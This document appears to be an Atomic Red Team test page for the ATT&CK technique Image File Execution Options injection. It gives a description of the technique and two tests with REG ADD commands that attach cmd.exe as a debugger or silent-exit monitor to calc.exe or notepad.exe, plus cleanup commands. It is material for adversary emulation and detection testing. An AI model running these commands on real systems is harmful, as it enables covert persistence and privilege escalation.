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Event Triggered Execution: Image File Execution Options Injection

Description from ATT&CK

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - IFEO Add Debugger

Leverage Global Flags Settings

Supported Platforms: windows

auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8

Inputs:

Name Description Type Default Value
target_binary Binary To Attach To Path calc.exe
payload_binary Binary To Execute Path C:\Windows\System32\cmd.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

Cleanup Commands:

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reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1

Atomic Test #2 - IFEO Global Flags

Leverage Global Flags Settings

Supported Platforms: windows

auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1

Inputs:

Name Description Type Default Value
target_binary Binary To Attach To Path notepad.exe
payload_binary Binary To Execute Path C:\Windows\System32\cmd.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"

Cleanup Commands:

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reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1

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